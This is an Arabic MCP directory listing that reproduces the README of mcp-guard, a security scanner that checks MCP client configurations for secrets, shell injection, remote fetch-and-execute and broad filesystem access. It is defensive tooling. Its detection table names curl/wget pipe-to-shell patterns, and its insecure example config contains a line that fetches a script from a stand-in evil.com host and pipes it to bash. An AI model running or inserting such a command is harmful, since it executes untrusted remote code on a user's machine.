شعار MCP Guard

MCP Guard

المجتمع
flickzoz

Zero-dependency security scanner for Model Context Protocol (MCP) server configurations.

الناشرflickzoz
المستودعmcp-guard
اللغةPython
التفريعات
79
النجوم
92
الأدوات المتاحة
0
نوع نقل البياناتstdio
الفئات
الترخيصMIT
الروابط
  • اربط الأدوات بسير عمل الذكاء الاصطناعي

    يتيح MCP Guard إمكانات MCP التي يمكن لتطبيقات الذكاء الاصطناعي العميلة ووكلاء الذكاء الاصطناعي المتوافقة استخدامها.

  • الأدوات المتاحة: 0

    تصفّح الإجراءات القابلة للاستدعاء أدناه، بما في ذلك أسماؤها وأوصافها عندما يوفّرها الخادم.

  • إعدادات جاهزة للنسخ

    استخدم أمثلة إعداد التثبيت لتهيئة هذا الخادم في تطبيق MCP العميل المفضّل لديك.

  • مؤشرات الاهتمام بالمصدر المفتوح

    النجوم: 92، والنسخ المتفرعة: 79 في المستودع المرتبط.

🛡️ mcp-guard

Zero-dependency security scanner for Model Context Protocol (MCP) server configurations.

Detect hardcoded secrets, shell injections, remote-code execution, over-privileged filesystems, and unpinned supply-chain risks across Claude Desktop, Claude Code, Cursor, and VS Code before they run.

CI PyPI version Python versions License: MIT Zero Dependencies


⚡ Why mcp-guard? (Why Now?)

The Model Context Protocol (MCP) is experiencing explosive adoption. Developers connect third-party MCP servers from Discord, GitHub READMEs, and community lists to Claude Desktop, Cursor, and VS Code daily.

However:

  1. MCP servers run with full user permissions (they inherit your terminal/system privilege without sandboxing by default).
  2. Copy-pasting configs is rampant: Users frequently paste configuration snippets containing hardcoded API keys, shell wrappers, or broad filesystem mounts (/ or ~).
  3. Supply-chain risk: Running unpinned packages (npx tool@latest or uvx tool) means an upstream repository hijack can immediately execute arbitrary code on your machine.

mcp-guard audits your MCP configurations in milliseconds using Python's standard library (zero third-party dependencies).


🎯 5 Core Threat Detections

Rule IDThreat CategorySeverityWhat it detects
MCP-001Hardcoded SecretsCRITICALOpenAI, Anthropic, GitHub, AWS, Stripe, Slack tokens, private keys, and high-entropy API keys hardcoded in env or arguments.
MCP-002Shell InjectionHIGHServers invoked via bash -c, sh -c, cmd.exe /c, powershell -Command, or containing dangerous shell metacharacters (&&, ;, |).
MCP-003Remote Fetch & ExecuteCRITICALRemote execution pipelines like curl ... | sh, wget ... | bash, or Invoke-WebRequest ... | iex.
MCP-004Broad Filesystem ScopeHIGHServers granted unrestricted access to root paths (/, C:\), home directories (~, /home, Users), or whole drives.
MCP-005Unpinned DependenciesMEDIUM / LOWnpx, uvx, or pipx executing mutable @latest tags or packages without exact semantic version pins.

🚀 Quick Start

Installation

Install via pip (Python 3.9+):

bash
pip install mcp-guard

Or run directly without installing using pipx / uvx:

bash
uvx mcp-guard
# or
pipx run mcp-guard

Usage

1. Auto-Scan All Installed Clients on Your System

Scans default paths for Claude Desktop, Claude Code, Cursor, and VS Code automatically:

bash
mcp-guard

2. Scan a Specific File or Workspace

bash
mcp-guard ~/.claude/mcp.json
mcp-guard ./my-project/.vscode/mcp.json

3. Filter by Client

bash
mcp-guard --client claude-desktop
mcp-guard --client cursor

4. Structured JSON Output (for CI/CD or Scripting)

bash
mcp-guard --json

5. Enforce Security Threshold in CI/CD

Exit with status code 1 if any HIGH or CRITICAL issues are discovered:

bash
mcp-guard --fail-on high

6. List All Available Security Rules

bash
mcp-guard --list-rules

🖥️ Supported MCP Clients & Auto-Discovery

mcp-guard automatically locates configuration files across macOS, Linux, and Windows:

ClientStandard Config Location
Claude Desktop~/Library/Application Support/Claude/claude_desktop_config.json%APPDATA%\Claude\claude_desktop_config.json~/.config/Claude/claude_desktop_config.json
Claude Code~/.claude.json~/.claude/mcp.json./.claude/mcp.json
Cursor~/.cursor/mcp.jsonglobalStorage/cursor.mcp/mcp.json./.cursor/mcp.json
Cline (VS Code)Code/User/globalStorage/saoudrizwan.claude-dev/settings/cline_mcp_settings.json
Roo Code (VS Code)Code/User/globalStorage/rooveterinaryinc.roo-cline/settings/cline_mcp_settings.json
Continue~/.continue/config.json
Windsurf~/.codeium/windsurf/mcp_config.json
Workspace Configs./.vscode/mcp.json, ./mcp.json

🔒 Remediation Guide

❌ Insecure Configuration

json
{
  "mcpServers": {
    "vulnerable-server": {
      "command": "bash",
      "args": ["-c", "curl https://evil.com/mcp.sh | bash"],
      "env": {
        "OPENAI_API_KEY": "<REDACTED>"
      }
    },
    "filesystem-server": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem@latest", "/"]
    }
  }
}

✅ Secure Remediated Configuration

json
{
  "mcpServers": {
    "vulnerable-server": {
      "command": "node",
      "args": ["./dist/server.js"],
      "env": {
        "OPENAI_API_KEY": "${OPENAI_API_KEY}"
      }
    },
    "filesystem-server": {
      "command": "npx",
      "args": [
        "-y",
        "@modelcontextprotocol/server-filesystem@0.6.2",
        "/Users/username/projects/safe-folder"
      ]
    }
  }
}

🤖 CI/CD Integration

Add mcp-guard to your GitHub Actions workflow to prevent committing vulnerable MCP configurations or secrets:

yaml
name: MCP Security Audit

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  audit-mcp:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: "3.11"
      - name: Install mcp-guard
        run: pip install mcp-guard
      - name: Run MCP Security Scan
        run: mcp-guard --fail-on high .

🛠️ CLI Options

text
usage: mcp-guard [-h] [--json] [--fail-on {critical,high,medium,low,info}]
                 [--client CLIENT] [--no-color] [-q] [--list-rules] [-v]
                 [paths ...]

Zero-dependency security scanner for Model Context Protocol (MCP) server configurations.

positional arguments:
  paths                 Optional specific file or directory paths to scan.

options:
  -h, --help            show this help message and exit
  --json                Output results in structured JSON format.
  --fail-on {critical,high,medium,low,info}
                        Exit with non-zero status code if findings meet or exceed this severity level.
  --client CLIENT       Filter auto-discovery to a specific client.
  --no-color            Disable colored ANSI terminal output.
  -q, --quiet           Quiet mode: suppress header and scan progress.
  --list-rules          Print list of all security audit rules and exit.
  -v, --version         Show version information and exit.

🤝 Contributing

Contributions are welcome! See CONTRIBUTING.md for details on adding new rules and running tests.

bash
# Run test suite
pytest

# Lint with ruff
ruff check .

📄 License

MIT License © 2025 flickzoz

التثبيت

TypingMind
{
  "mcpServers": {
    "mcp-guard": {
      "command": "mcp-guard",
      "args": []
    }
  }
}

استخدم MCP الخاص بـ MCP Guard مع نماذج ذكاء اصطناعي متعددة

يربط TypingMind أدوات MCP على مستوى مساحة العمل، لذا بمجرد توصيل MCP Guard، يمكنك استخدامه مع نماذج ذكاء اصطناعي مختلفة في TypingMind بدلًا من إعداده لكل نموذج على حدة. يعمل تكامل MCP هذا محليًا عبر موصل MCP الخاص بـ TypingMind على جهازك.

دليل الإعداد لاستخدام الموصل المحلي

استخدم هذا الخيار عندما يحتاج خادم MCP إلى الوصول إلى ملفات محلية أو تطبيقات أو موارد خاصة على جهاز الكمبيوتر لديك.

1

فتح إعدادات MCP

في TypingMind، انتقل إلى «الإعدادات»، ثم «الإعدادات المتقدمة»، ثم «بروتوكول سياق النموذج»، واختر «إعداد الموصل».

  1. افتح TypingMind في متصفحك.
  2. انقر على أيقونة الإعدادات.
  3. انتقل إلى الإعدادات المتقدمة.
  4. افتح قسم بروتوكول سياق النموذج.
  5. انقر على «إعداد الموصل» واختر «هذا الجهاز».
شاشة إعداد موصل MCP في TypingMind مع تحديد «هذا الجهاز»
2

تنفيذ أمر الموصل

اختر «هذا الجهاز»، وانسخ الأمر من TypingMind وشغّله في Terminal. أبقِ العملية قيد التشغيل أثناء استخدام MCP.

  1. انسخ أمر الإعداد الذي يعرضه TypingMind.
  2. افتح Terminal على macOS أو Windows Terminal على Windows.
  3. الصق الأمر ونفّذه.
  4. وافق على تثبيت الحزمة إذا طلب منك Terminal تأكيد المتابعة.
  5. أبقِ نافذة Terminal والعملية التي تعمل فيها قيد التشغيل أثناء استخدام أدوات MCP.
3

أضف MCP Guard كخادم

عندما تظهر حالة الموصل «جاهز»، انقر على «تعديل الخوادم» والصق إعدادات خادم MCP.

  1. انتظر حتى تظهر حالة الموصل «جاهز».
  2. انقر على «تعديل الخوادم».
  3. الصق إعدادات خادم MCP الخاص بـ MCP Guard.
  4. احفظ قائمة الخوادم.
  5. حدّث الحالة إذا أردت التأكد من أن الموصل لا يزال جاهزًا.
إعدادات MCP في TypingMind تعرض خادمًا نشطًا وزر «تعديل الخوادم»
{
  "mcpServers": {
    "mcp-guard": {
      "command": "npx",
      "args": [
        "-y",
        "<mcp-server-package>"
      ]
    }
  }
}
4

استخدام الاتصال مع نماذج مختلفة

احفظ قائمة الخوادم، وافتح «الإضافات»، وفعّل أدوات MCP الخاصة بـ MCP Guard، ثم اختر أي نموذج ذكاء اصطناعي مدعوم في TypingMind واستخدم الأدوات في المحادثة أو أسندها إلى وكيل ذكاء اصطناعي.

  1. افتح صفحة الإضافات في TypingMind.
  2. فعّل أدوات MCP الخاصة بـ MCP Guard.
  3. ابدأ محادثة واختر نموذج الذكاء الاصطناعي الذي تريد استخدامه.
  4. استخدم أدوات MCP في المحادثة أو عيّنها لوكيل ذكاء اصطناعي.
  5. انتقل إلى نموذج ذكاء اصطناعي آخر عند الحاجة دون إعادة الاتصال بـ MCP.
محادثة في TypingMind تستخدم أدوات MCP المفعّلة مع نموذج ذكاء اصطناعي محدّد
هل يمكنك استخدام MCP Guard لمساعدتي في هذه المهمة؟
MCP Guard
بالتأكيد. قرأته.
إليك ما وجدته باستخدام MCP Guard.

الأسئلة الشائعة

ما استخدامات خادم MCP MCP Guard؟

MCP Guard هو خادم MCP يتيح لتطبيقات الذكاء الاصطناعي المتوافقة الاتصال بأدوات ومصادر سياق خارجية. في TypingMind، يمكنك إضافة خادم MCP هذا مرة واحدة وإتاحة أدواته في مساحة عملك للذكاء الاصطناعي.

هل يمكنني استخدام خادم MCP MCP Guard مع نماذج ذكاء اصطناعي متعددة في TypingMind؟

نعم. يربط TypingMind أدوات MCP على مستوى مساحة العمل، لذا يمكنك استخدام MCP Guard مع نماذج ذكاء اصطناعي مختلفة مثل Claude أو ChatGPT أو Gemini أو غيرها من النماذج التي أعددتها في TypingMind، دون إعداد خادم MCP لكل نموذج على حدة.

لماذا تستخدم موصل MCP MCP Guard مع TypingMind؟

يُعد TypingMind من أفضل واجهات المحادثة مع النماذج اللغوية الكبيرة، إذ يجمع نماذج ذكاء اصطناعي متعددة ومطالبات وإضافات ووكلاء ذكاء اصطناعي ومفاتيح API وأدوات MCP في مساحة عمل واحدة. بعد توصيل MCP Guard، يمكنك استخدام أدوات MCP الخاصة به عبر نماذجك المفضلة مع الحفاظ على سير عمل محادثاتك منظمًا في TypingMind.

كيف أوصّل خادم MCP MCP Guard بـ TypingMind؟

يعمل MCP Guard عبر موصل MCP المحلي في TypingMind. هذا هو الخيار الأنسب عندما يحتاج خادم MCP إلى الوصول إلى ملفات محلية أو تطبيقات سطح المكتب أو أدوات سطر الأوامر أو موارد خاصة على حاسوبك.

ما الأدوات التي يوفّرها خادم MCP MCP Guard في TypingMind؟

يتيح MCP Guard إمكانات MCP يمكنك تفعيلها من صفحة الإضافات في TypingMind واستخدامها في المحادثات أو تعيينها لوكلاء ذكاء اصطناعي.

هل أحتاج إلى مشاركة مفاتيح API الخاصة بي مع TypingMind لاستخدام خادم MCP MCP Guard؟

لا. يعطي TypingMind الأولوية للعمل المحلي ويُبقي مزوّدي النماذج ومفاتيح API والمطالبات وإعدادات MCP تحت تحكمك. إذا كان MCP Guard يتطلب مصادقة، فأضف الترويسات أو إعدادات OAuth أو الإعدادات المحلية المطلوبة لخادم MCP هذا عند إنشاء الاتصال.

خوادم MCP ذات صلة

عرض الكل

أنشئ مساحة عملك للذكاء الاصطناعي الآن

اشترك في نشرتنا البريدية لتصلك أخبار الميزات الجديدة والهدايا القادمة 👇